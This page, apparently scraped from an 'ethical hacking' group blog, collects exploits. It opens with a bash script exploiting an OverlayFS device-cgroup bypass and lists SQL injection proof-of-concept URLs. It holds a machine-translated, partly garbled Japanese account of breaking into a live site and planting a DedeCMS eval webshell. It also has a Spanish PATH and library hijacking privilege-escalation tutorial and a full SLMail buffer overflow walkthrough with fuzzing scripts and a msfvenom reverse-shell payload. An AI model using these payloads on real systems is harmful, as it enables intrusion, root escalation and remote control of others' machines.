#source: https://www.securityfocus.com/bid/51529/info
#OverlayFS is prone to a local security-bypass vulnerability.
#Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions.
#!/bin/bash
ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
if [ "x$ddir" = "x" ]; then
echo "couldn't find devices cgroup mountpoint"
exit 1
fi
# create new cgroup
ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`
# create a directory onto which we mount the overlay
odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`
# create the directory to be the overlay dir (where changes
# will be written)
udir=`mktemp -d --tmpdir=/tmp exploit-XXX`
mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
echo $$ > $ndir/tasks
# deny all device actions
echo a > $ndir/devices.deny
# but allow mknod of tty7, bc we have to mknod it in the writeable
# overlay
echo "c 4:5 m" > $ndir/devices.allow
echo "devices.list: XXXXXXXXXXXXXXX"
cat $ndir/devices.list
echo "XXXXXXXXXXXX"
# try writing to /dev/tty5 - not allowed
echo x > /dev/tty5
echo "write to /dev/tty5 returned $?"
# try writing to tty5 on the overlayfs - SHOULD not be allowed
echo y > $odir/tty5
echo "write to $odir/tty5 returned $?"
umount $odir
rmdir $odir
rm -rf $udir
# move ourselves back to root cgroup (else we can't delete the temp one
# bc it's occupied - by us)
echo $$ > $ddir/tasks
rmdir $ndir
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863131791
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/51530/info
Toner Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/united/show_series_ink.php?id=1â??a
source: https://www.securityfocus.com/bid/51532/info
MMORPG Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/games/view_news.php?news_id=7â??a
source: https://www.securityfocus.com/bid/51533/info
Freelance Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/freelance/show_code.php?code_id=8â??a
JBoss AS 3/4/5/6 - Remote Command Execution
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Airties Air5650TT - Remote Stack Overflow
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Palo Alto Traps Server 3.1.2.1546 - Persistent Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
- Read more...
- 0 comments
- 1 view
Vastal EzineShop - 'view_mags.php' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Snitz Forums 2000 - 'TOPIC_ID' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Savant Web Server 3.1 - Remote Buffer Overflow (4)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Tribiq CMS - 'index.php' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Joomla! Component Full - 'id' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
タイトル：ソースコードがゲッシェルにリークすると録音（a）
HACKER · %s · %s
この浸透のすべての変更が回復し、脆弱性がCNVDプラットフォームに提出されました
0x01ソースコードリーク
暗くて風の強い夜、私はアイドル状態で、インターネットサイトのソースコードをスキャンするためにハンターを使用し始めました。
バックアップファイルスキャンの結果を表示するとき、私は赤ちゃんを見ました
一言も言わずに、ダウンロードにアクセスしてソースコードを取得してください！
DEDECMSの痕跡は、注釈情報にあります
0x02敏感な情報漏れ
ソースコードを取得する最初のステップは、もちろんグローバル検索（CRTL+Shift+F）キーワードを試すための機密情報を取得することです
鍵
PWD
passwd
パスワード1。データベース情報リーク
2。バックエンド管理者のパスワードが漏れています
MD5復号化は復号化しようとします、それは実際には弱いパスワードです
もちろん、アカウントのパスワードを使用した後、バックグラウンド管理アドレスを見つける必要があります。ソースコードのバックグラウンド管理アドレスを持つのは簡単ではありませんか？
バックグラウンドアドレスは、バックグラウンドのRCE-GetShellソースコードで見つかりました（実際には888に変更されました）
漏れたadmin/admin888でバックグラウンドを入力した後、バージョン情報はdecms ps1であることがわかりました
0x03歴史的脆弱性
CMS情報を取得しているので、最初のステップはもちろんその歴史的な抜け穴を見ることです
SP1の履歴脆弱性を見つけることはすべて脆弱性を含むリモートコードですが、このサイトではキーファイルinstall.phpが削除されています（ソースコードには存在しません）
幸運を念頭に置いて、私はそれをもう一度アクセスしようとしました（後でもう一度追加されたかもしれません）それは存在しないので、他の機能ポイントを表示し続けることしかできません
その後、私は多くのSP2の脆弱性をテストしようとしましたが、すべて失敗しました
他のポイントをテストし続けます
システム設定を表示および発見し続けます - システムの基本パラメーター - その他のオプションには、テンプレートエンジンの機能を無効にします
しかし、なぜ彼はテンプレートエンジン機能を無効にしたのですか？
この質問でソースコードをもう一度見ました
案の定、テンプレート関連のファイルが再び見つかりました（これは、機能ポイントが非表示であり、ファイルがまだそこにあることを意味します）
アクセス、正常にアクセスし、正常に実行できるようにしてください
その後、簡単です。 DEDECMSテンプレートルールに従って、ペイロードする背景テンプレートを書き込み、PHPコードを実行するためのアクセスを記述します。
{dede:field name='source' runphp='yes'}@eval（$ _ post ['lyy']）; {/dede:field}
//メソッドを呼び出す[field:フィールド名/]ここのキーはrunphp='yes'です
//PHPコードは簡単な文であり、その後、他のオプションのすべての無効な機能を削除して保存します
index.htmに注入されるため
したがって、ウェブシェルに接続されたURLはホームページです
http://
- Read more...
- 0 comments
- 1 view
Path Hijacking y Library Hijacking
HACKER · %s · %s
Índice:
¿Qué es el PATH? Path Hijacking Library Hijacking
¿Qué es el PATH?
Cuando ejecutamos un comando en una terminal o un cmd, como sabe la shell que esa palabra que hemos escrito corresponde a un comando con X función. ¿Qué decide que un comando sea detectado y otro no?:
Todo esto es gracias al PATH. El path es una variable de entorno la cual contiene rutas del sistema. Cuando ejecutamos un comando, el sistema va buscando algún archivo con el nombre del comando que hemos escrito, en cada ruta del path.
Es decir, por ejemplo, cuando escribimos pwd, el sistema irá buscando un archivo con el mismo nombre en los siguientes directorios con el siguiente orden:
Lo mismo pasaría en Windows:
Y también se aplica a lenguajes de programación, por ejemplo, python:
Solo se hace uso del path cuando se escribe rutas relativas:
En la primera ejecución, el sistema ha usado el path para encontrar donde estaba el binario de whoami, sin embargo, en la segunda no hace falta, porque ya le indicamos donde se encuentra. Por lo que de la segunda forma podemos evitar ataques como el path hijacking y el library hijacking. De cara al desarrollo de cualquier binario/script, es muy recomendable utilizar rutas absolutas siempre, tanto para comandos si estamos en un lenguaje de comandos como bash o librerías si estamos en un lenguaje de programación como por ejemplo python.
Path Hijacking
Para realizar el path hijacking he creado el siguiente programa en C:
Como vemos, el programa saca las 10 primeras líneas del archivo passwd dos veces, la primera se hace usando la ruta absoluta de head, y la segunda, de forma relativa. En este punto, compilamos con gcc para crear el binario:
Nota: en este caso lo hago con un binario compilado para poder hacer uso del permiso SUID de forma idónea.
Para ver de forma más clara el peligro de no usar rutas absolutas, le voy a asignar permiso SUID:
Con esto, si ejecutamos el binario desde el usuario normal lo haremos como el usuario root por el permiso SUID:
Con todo esto hecho, vamos a llevar a cabo el Path Hijacking, si hacemos un strings al binario podemos identificar que se está llamando al comando de forma relativa (esta sería una posible forma de identificarlo si no tenemos acceso al código original):
De esta forma podemos darnos cuenta, aunque no siempre se da el caso en el que podamos verlo.
Además, podemos fijarnos en que se está usando setuid en el código, esto significa que el código se ejecutará con el usuario del UID que indiquemos (ojo, aunque pongamos 0, no se ejecutará como root si no tiene el permiso SUID, necesitas por así decirlo un doble check, por eso además del setuid en 0, le ponemos el permiso SUID. Este doble check no aplicaría si fuésemos el usuario root, ya que tenemos privilegios totales, así que con setuid sería suficiente).
En este punto, vamos a cambiar el PATH añadiéndole la ruta actual y la propia variable del PATH, para no tener problemas de comandos:
En este punto, como el comando que queremos suplantar es head, creamos un archivo con el mismo nombre y que contenga el comando que queremos ejecutar, en mi caso, bash -p:
Con el path cambiado para que mire en la ruta actual y un archivo que suplante al head legítimo, si ejecutamos ahora el binario:
Vemos como en la parte del código que se ejecuta head de forma relativa, se ejecuta el comando que hemos escrito, de esta forma hemos ejecutado un path hijacking (secuestro del path) y conseguido una shell como root.
Library Hijacking
Entendiendo el path hijacking, el library hijacking es básicamente lo mismo, solo cambiando un poco el aspecto práctico. Vamos a usar el siguiente código en python:
Como vemos, la función del script es hacer una petición al blog y ver su código de respuesta:
Entonces, como se ve en el código, se está llamando a la librería requests de forma relativa:
Vamos a aprovecharnos de esto para ejecutar un Library Hijacking. Lo primero de todo es comprobar el path que sigue python3, esto lo podemos hacer con la librería sys:
Si nos fijamos, el primer sitio donde python comprueba de forma por defecto la existencia de la librería es en ' ', esto significa la ruta actual. Por lo que simplemente vamos a crear un archivo que se llame requests.py en la ruta actual:
De esta forma, si ejecutamos el script:
Conseguimos ejecutar el comando que hemos especificado, en este caso, una shell.
Ojo, en este caso, el privilegio SUID no se lo aplicamos a python, ya que al tratarse de un script, interfiere la propia capa de seguridad del propio permiso SUID:
Sin embargo, si podríamos aprovecharnos para convertirnos en root si por ejemplo tenemos privilegios sudo sobre la ejecución del script.
- Read more...
- 0 comments
- 1 view
- Read more...
- 0 comments
- 1 view
Buffer Overflow 32 Bits en SLMail 5.5
HACKER · %s · %s
Aunque ya haya scripts que automaticen la explotación, nosotros vamos a hacerlo de forma manual.
Antes que nada, es recomendable haber leído el post de Fundamentos de Buffer Overflow si nunca has ejecutado este tipo de ataque.
Vamos a estar trabajando con nuestro Kali y un Windows 7 de 32 bits.
Índice:Introducción Fuzzing Tomando el control del EIP Averiguando badchars Crear payload con msfvenom Buscando dirección con opcode JMP ESP Exploit final Introducción
Lo primero de todo es descargar e instalar el servicio «SLMail» en el Windows 7, previo a esto tenemos que asegurarnos que nuestro Windows 7 tiene desactivado el DEP y que el firewall no nos bloquee, al menos los puertos 25 y 110.
El firewall podemos configurarlo usando «Windows Firewall con Seguridad Avanzada» o netsh. Este último, podemos ver como hacerlo en el post de pivoting netsh. Y el DEP (Data Execution Prevention) podemos deshabilitarlo desde una terminal como administrador usando el comando:bcdedit.exe /set nx AlwaysOff Podemos descargar SLMail 5.5 desde su web oficial. Una vez lo descargamos, empezamos el proceso de instalación:
En este caso no hace falta tocar nada, con darle todo a «Siguiente» es suficiente. Cuando la instalación acabe reiniciaremos el equipo y listo. Tendremos el SLMail instalado.
Cuando se inicie el equipo abrimos el SLMail como administrador:
Y nos dirigimos a la pestaña de control:
Desde esta parte es donde podemos controlar si se pausa el servicio o se inicia, nos servirá para cuando se crashee al ocasionar el buffer overflow. Como vemos ahora mismo ya está iniciado, por lo que si vamos a nuestro kali, podremos ver los puertos 25 y 110 abiertos:
Con todo el servicio instalado, ejecutándose y expuesto, ya podemos ponernos con el buffer overflow.
En este caso en particular, ya hemos identificado y ya conocemos de forma previa que el servicio es vulnerable. Además, hemos visto en searchsploit que ya hay scripts que lo explotan automáticamente. Por lo que vamos a ayudarnos de alguno de estos scripts para identificar la manera.
En cualquier otro caso, cuando no sepamos de qué servicio se trata y no sepamos casi nada, la mejor opción es simplemente conectarnos al puerto mediante netcat o telnet y ver si nos responde de alguna forma, y a partir de ahí, ver que se puede hacer.
Dicho esto, vamos a echarle un vistazo al primer script de searchsploit:
El título ya nos adelanta que el parámetro vulnerable parece ser ‘PASS’
Echando un ojo al primer script, vemos como sería el procedimiento:
El parámetro PASS parece ser el campo de la contraseña de un login. Además, si nos fijamos, vemos que de los dos puertos que usa SLMail, el 25 y el 110. Se conecta al 110, por lo que también identificamos a cuál de los dos puertos conectarnos.
Vamos a probarlo de forma manual:
Parece que son válidos ambos campos, aunque nos digan que las credenciales son incorrectas.
En este punto ya tenemos lo necesario para empezar:
Servicio vulnerable detectado Puerto al que conectarnos Parámetro vulnerable
Fuzzing
Sabiendo todo esto, es la hora de hacer Fuzzing, es decir, tenemos que averiguar que cantidad de información hace falta en el parámetro PASS para que se ocasione el Buffer Overflow y el programa corrompa.
Antes de hacer fuzzing, en el Windows 7 vamos a abrir como administrador el Immunity Debugger para adjuntarnos al proceso del SLMail:
De esta forma ya habremos adjuntado el Immunity Debugger al proceso de SLMail:
Ojo, cuando nos juntamos con Immunity a un proceso, este se pausa, lo podemos ver abajo a la derecha:
Por lo que no olvidemos nunca, reanudar el proceso:
Con esto hecho, ahora para hacer fuzzing vamos a hacer uso de un script en python, el cual nos automatiza la tarea:
#!/usr/bin/python from pwn import * import socket, sys if len(sys.argv) < 2: print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n" sys.exit(0) # Variables globales ip_address = sys.argv[1] rport = 9999 if __name__ == '__main__': buffer = ["A"] contador = 100 while len(buffer) < 32: buffer.append("A"*contador) contador += 100 p1 = log.progress("Data") for strings in buffer: try: p1.status("Enviando %s bytes" % len(strings)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, rport)) data = s.recv(1024) s.send("%s" % strings) data = s.recv(1024) except: print "\n[!] Ha habido un error de conexion\n" sys.exit(1) Éste es el script estándar, solo tenemos que adaptarlo para que se adecue al caso que necesitamos:
#!/usr/bin/python from pwn import * import socket, sys if len(sys.argv) < 2: print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n" sys.exit(0) # Variables globales ip_address = sys.argv[1] rport = <puerto> if __name__ == '__main__': buffer = ["A"] contador = 150 while len(buffer) < 32: buffer.append("A"*contador) contador += 150 p1 = log.progress("Data") for strings in buffer: try: p1.status("Enviando %s bytes" % len(strings)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, rport)) data = s.recv(1024) s.send("USER prueba\n\r") data = s.recv(1024) s.send("PASS %s\n\r" % strings) data = s.recv(1024) except: print "\n[!] Ha habido un error de conexion\n" sys.exit(1) El uso del script es sencillo, simplemente le tenemos que especificar una IP, además de editar el puerto en el código:
Con el puerto cambiado, vamos a ejecutar el script apuntando al Windows 7:
Cuando se quede pillado el número de bytes, nos volvemos al immunity debugger (o también podemos ver como se comporta el immunity mientras recibe los bytes):
Como vemos el estado del programa es «Paused», por lo que el programa a crasheado. Además, podemos como se han quedado los registros.
Si nos fijamos en los campos del EBP y del EIP, vemos como el valor de los 4 bytes es \x41 (este es el formato para representar el hexadecimal, con \x como prefijo).
Para quien no lo sepa, 41 es la letra A en hexadecimal. Que es exactamente lo que nosotros le estamos enviando.
¿Qué significa esto?
Básicamente, imaginémonos que el servicio como mucho esperaba en el campo «PASS», un valor máximo de 30 caracteres (que no es el caso, es bastante más).
¿Qué pasaría si nosotros le mandamos 60 caracteres?
Ocurre entonces que la memoria que tiene el programa reservado para ese campo es bastante menor que los datos recibidos, por lo que esa diferencia de 30 (60 – 30) se tiene que ir hacia algún lado. Y es aquí donde se empieza a sobrescribir registros.
La idea básicamente es esta:
Teniendo esto claro, y viendo como hemos sobrescrito el EIP y el EBP, la idea ahora es tomar el control del EIP, es decir, determinar exactamente cuantas ‘A‘ tenemos que mandar antes de empezar a sobrescribirlo.
Este registro nos importa tanto, ya que es la dirección de la próxima instrucción del programa, por eso se llama EIP (Extended Instruction Pointer).
Por esta misma razón el programa crashea, ya que al estar sobrescribiendo este registro, cuando el programa va a seguir su flujo, lo que hace es ver a que dirección apunta el EIP, y claro, si la dirección a la que apunta es 0x41414141, pues no llega a ningún sitio, ya que no es una dirección de memoria válida. Por eso el programa se corrompe.
Tomando el control del EIP
Con todo esto claro, para determinar el offset del EIP, o dicho de otra forma, cuantas ‘A‘ hacen falta hasta sobrescribirlo, vamos a hacer uso de dos herramientas de metasploit (en un examen como el OSCP es totalmente válido usar estas dos herramientas):
pattern_create.rb pattern_offset.rb Asegurándonos de que tenemos metasploit instalado, podemos encontrar estas dos herramientas de la siguiente forma:
Primero vamos a usar pattern_create.rb, lo que nos permite esta herramienta es crear una cadena de la longitud que nosotros indiquemos. Esta cadena está especialmente diseñada para que no haya patrones repetidos.
Antes, hemos comprobado que con 2700 bytes ya conseguíamos además de corromper el programa, sobrescribir los registros. Por lo que ahora vamos a cambiar un poco el script para directamente mandar solo un payload. El modelo del script a usar, sería el siguiente:
#!/usr/bin/python from pwn import * import socket, sys from struct import pack if len(sys.argv) < 2: print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n" sys.exit(0) # Variables globales ip_address = sys.argv[1] rport = 9999 shellcode_windows=() shellcode_linux=() if __name__ == '__main__': p1 = log.progress("Data") payload = <payload> try: p1.status("Enviando payload") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, rport)) data = s.recv(1024) s.send(payload + '\r\n') data = s.recv(1024) except: print "\n[!] Ha habido un error de conexion\n" sys.exit(1) De nuevo, simplemente lo copiamos y lo adaptamos a lo que necesitemos:
#!/usr/bin/python from pwn import * import socket, sys from struct import pack if len(sys.argv) < 2: print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n" sys.exit(0) # Variables globales ip_address = sys.argv[1] rport = 110 shellcode_windows=() shellcode_linux=() if __name__ == '__main__': p1 = log.progress("Data") payload = <payload> try: p1.status("Enviando payload") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, rport)) data = s.recv(1024) s.send('USER prueba\r\n') data = s.recv(1024) s.send('PASS ' + payload + '\r\n') data = s.recv(1024) except: print "\n[!] Ha habido un error de conexion\n" sys.exit(1) Con esto, vamos a generar ahora una cadena de 2700 bytes con pattern_create.rb:
pattern_create.rb -l <longitud de la cadena>
Copiamos este output y lo adjuntamos a la variable payload del script:
De esta forma, vamos a ejecutar el script para que mande directamente este payload al campo «PASS».
Ejecutamos el exploit:
En immunity podemos ver como el programa corrompe:
Con esto hecho, la idea ahora es fijarnos en el valor del registro EIP:
Es 39694438. Este valor corresponde a una parte en concreto de la cadena que hemos enviado en el payload.
Teniendo en cuenta este número, vamos a usar pattern_offset.rb:
pattern_offset.rb -q <valor del EIP>
Ojo, nos dice que el offset es 2606, es decir que si mandamos 2606 ‘A‘ y 4 ‘B‘, el valor del EIP debería de ser 42424242 (ya que 42 es B en hexadecimal).
Vamos a comprobarlo:
<Reiniciamos el servicio>
<Nos adjuntamos con Immunity Debugger>
Ejecutamos el exploit:
Como vemos, EIP vale las 4 ‘B‘ que hemos mandado. Es en este punto cuando se dice que tenemos el control del EIP.
Averiguando badchars
Ahora, es hora de averiguar los «badchars». Los badchars son bytes que por así decirlo el programa no admite. De tal forma que si generásemos un payload con algún badchar, no funcionaría.
Para este paso, vamos a hacer uso de mona, un módulo de Immunity Debugger que nos facilitará la tarea.
Su instalación es bastante sencilla, descargamos el script mona.py de su repositorio oficial. Este script lo movemos a la siguiente ruta:
C:\\Archivos de programa\\Immunity Inc\\Immunity Debugger\\PyCommands
C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands
Y de esta forma ya se habrá instalado. Podemos comprobarlo en el Immunity Debugger con !mona:
Hecho esto, vamos a configurar el espacio de trabajo con el comando:
!mona config -set workingfolder <ruta>\%p
Ahora, vamos a generar un array de bytes de la siguiente forma:
!mona bytearray
Esto nos genera una cadena con todos los bytes posibles, nos servirá para determinar cuáles son badchars y cuáles no.
Además, con este comando como hemos configurado el espacio de trabajo previamente, ahora se nos habrá generado una carpeta con el nombre del proceso al que estamos adjuntados:
Dentro, podemos encontrar un txt con la cadena de bytes:
Nos copiamos la cadena y la añadimos al payload.
Con esto, hacemos lo de siempre, reiniciamos el servicio, nos adjuntamos con Immunity y ejecutamos el exploit:
Ahora nos interesa el valor del ESP. Mediante este valor, mona nos automatizará la tarea de detectar los badchars.
Haremos uso del siguiente comando:
!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>
!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 0258A128
De esta forma, como vemos, mona nos dice que un badchars es el \x00 (este es un badchar muy típico, por lo que normalmente se quita de inmediato)
Con esto hecho, vamos a actualizar los archivos bytearray que tenemos, para decirles que eliminen el \x00:
!mona bytearray -cpb '"<badchars>"'
!mona bytearray -cpb '"\x00"'
De esta forma, el archivo bytearray se habrá actualizado.
Como ya sabemos que \x00 es un badchar, simplemente lo quitaremos del payload en el exploit:
Ejecutamos el exploit…
Y ahora hacemos el mismo proceso para detectar el badchar:
!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>
!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 01ADA128
Nos detecta que el \x0a es otro. Pues hacemos lo mismo que antes:
!mona bytearray -cpb '"<badchars>"'
!mona bytearray -cpb '"\\x00\\x0a"'
Comprobamos que se ha quitado:
Y con esto, lo mismo que antes, ahora quitamos del payload el \x0a.
Y repetimos de nuevo todo el proceso, esta parte es un poco repetitiva.
!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>
!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 026EA128
Detectamos otro badchar, esta vez el \x0d. Pues hacemos lo mismo:
!mona bytearray -cpb '"<badchars>"'
!mona bytearray -cpb '"\\x00\\x0a\\x0d"'
Y pues lo mismo, quitamos ahora del exploit el \x0d y repetimos todo. Así, hasta que nos salga que no encuentra ninguno:
Por lo que ya hemos descubierto todos los badchars, en este caso son:
\x00 \x0a \x0d Crear payload con msfvenom
Sabiendo esto, vamos a crear el payload de la reverse shell con msfvenom (podemos usar cualquier otro payload, por ejemplo, el de ejecutar un comando concreto en Windows):
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<puerto> EXITFUNC=thread -a x86 --platform windows -b <badchars> -e x86/shikata_ga_nai -f c
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.208.10 LPORT=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f c
Nos copiamos el shellcode generado por msfvenom y lo añadimos al exploit:
Buscando dirección con opcode JMP ESP
Con esta parte hecha, solo falta un último paso. Tenemos que conseguir que el EIP apunte al ESP, es decir, a nuestro payload, ya que ahora mismo está apuntando a la dirección de 4 ‘B‘.
Para esto, tenemos que hacer que el EIP apunte a una dirección de «JMP ESP». Una dirección la cual haga un salto automático a donde se encuentre el ESP.
Para hacer esto, vamos a usar la herramienta nasm_shell.rb de metasploit y mona.
Nasm_shell.rb hace lo siguiente:
De esta forma, vamos a ver el opcode asociado al JMP ESP:
Sabiendo que el opcode es FFE4, vamos a dirigirnos a mona y vamos a listar los módulos del proceso:
!mona modules
Listando los módulos, tenemos que usar uno que tenga las cuatro primeras columnas de True y False, en False (ya que este BoF no tiene ninguna protección). En mi caso voy a usar el siguiente módulo:
Con esto, ahora vamos a usar mona para buscar una dirección dentro de ese módulo cuyo opcode sea un JMP ESP:
!mona find -s '"<opcode JMP ESP>"' -m <módulo>
!mona find -s '"\\xff\\xe4"' -m SLMFC.dll
Mona nos da una serie de direcciones, podemos escoger cualquiera. El único requisito es que esa dirección no contenga ningún badchar.
En mi caso, voy a escoger por ejemplo la última, 0x5f4c4d13.
Vamos a comprobar que efectivamente esta dirección es un jmp ESP.
Click derecho y nos copiamos la dirección:
Nos dirigimos al siguiente botón:
Pegamos la dirección y le damos al OK. De esta forma nos llevará a la dirección que hemos especificado:
Y efectivamente, confirmamos que es un JMP ESP.
En caso de que al hacer esto nos lleve a una dirección que no tiene nada que ver con la que hemos puesto, simplemente buscamos otra vez y listo.
Exploit final
Ya tenemos todo para explotar el buffer overflow de forma exitosa. Vamos a dirigirnos al exploit.py para hacer los últimos retoques:
Vamos a sustituir las 4 ‘B’ con la dirección del JMP ESP en Little Endian:
En este caso usamos la librería struct para que nos haga el cambio a «Little Endian» de forma automática. También sería válido si lo hiciésemos nosotros de manera manual.
Además, para asegurarnos de que todo vaya correcto, vamos a añadirle NOPS entre el JMP ESP y el shellcode (también podriamos ocasionar un desplazamiento de la pila si no quisiéramos usar NOPS):
Si no sabes lo que son los NOPS, lo puedes ver en el post de Fundamentos para Stack Based Buffer Overflow.
De esta forma, ya está todo listo, si nos ponemos en escucha por el puerto que especificamos anteriormente en el msfvenom y ejecutamos el exploit:
Conseguimos controlar el flujo del programa haciendo que se dirija a nuestro payload y que nos ejecute una shell.
- Read more...
- 0 comments
- 1 view
Fiyo CMS 2.0.1.8 - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
OneOrZero AIMS - 'index.php' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
- Read more...
- 0 comments
- 1 view
PostNuke pnAddressbook Module - 'id' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views
Acidcat ASP CMS 3.5 - Multiple Cross-Site Scripting Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Joomla! Component com_br - 'Controller' Local File Inclusion
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Joomla! Component Vik Real Estate 1.0 - Multiple SQL Injections
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Joomla! Component com_some - 'Controller' Local File Inclusion
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view